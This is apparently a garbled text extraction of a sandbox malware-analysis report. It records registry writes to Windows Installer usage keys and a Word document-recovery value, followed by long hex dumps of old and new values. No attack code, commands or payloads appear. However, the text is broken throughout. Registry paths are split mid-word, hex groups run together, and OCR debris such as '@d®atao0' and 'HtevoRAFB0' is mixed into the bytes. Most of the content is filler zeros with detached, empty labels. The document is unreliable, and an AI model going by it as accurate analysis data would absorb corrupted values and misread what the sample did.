00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 FF FF FF FF

Completion

Count  Source Address

Symbol
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Key Path

HKEY_LOCAL_MACH
INE\SOFTWARE\Mi
crosoft\Windows\Curre
ntVersion
\Installer\UserData\S-
1-5-18\P
roducts\00004109D30
00000010000
0000F01FEC\Usage

HKEY_LOCAL_MACH
INE\SOFTWARE\Mi
crosoft\Windows\Curre
ntVersion
\Installer\UserData\S-
1-5-18\P
roducts\00004109D30
00000010000
0000F01FEC\Usage

HKEY_CURRENT_US
ER\Software\Mic
rosoft\Office\14.0\Wor
d\Resili
ency\DocumentRecov
ery\702AF

Name Type

ProductFiles dword
ProductFiles dword
702AF binary

Copyright Joe Security LLC 2022

Old Data

1422327858

1422327859

04 00 00 00 B4 05 00 00
2A 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00
69 00 6D 00 67 00 73 00
2E 00 68 00 74 00 6D 00
04 00 00 00 69 00 6D 00
67 00 73 00 00 00 00 00
01 00 00 00 00 00 00 00
A4 99 C0 84 D8 7A D8 01
AF 02 07 00 AF 02 07 00
00 00 00 00 DB 04 00 00
02 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

New Data

1422327859

1422327860

04 00 00 00 B4 05 00
00 2A 00 00 00 43 00
3A 00 5C 005500 73
00 65 00 72 00 73 00
5C 00 41 00 6C 00 62
00 75 00 73 00 5C 00
4100 70 00 70 00 44
00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63
00 61 00 6C 00 5C 00
54 00 65 00 6D 00 70
00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68
00 74 00 6D 00 04 00
00 00 69 00 6D 00 67
00 73 00 00 00 00 00
01 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 AF 02 07 00 AF
02 07 00 00 00 00 00
DB 04 00 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
FF FF FF FF 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

Completion

success or wait

success or wait

success or wait

Count

1

1

1

Source
Address

6DF00648

6DF00648

6DF00648

Symbol

unknown

unknown

unknown
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Key Path Name

Copyright Joe Security LLC 2022

Type

00 00 00 00 00 00 00 00
@d®atao0 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00
OGO @0 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00O
00 00 00 00 00 00 0O
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 0O
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00O
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00O
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00O
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00

Completion

Count

Source
Address

Symbol
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Key Path Name

Disassembly

@ No disassembly

Copyright Joe Security LLC 2022

Type

00 00 00 00 00 00 00 00
SIbBatR00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 FF
FF FF FF

00 00 00 00 00 00 00
HtevoRAFB0 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 FF FF FF
FF

Completion

Count

Source
Address

Symbol
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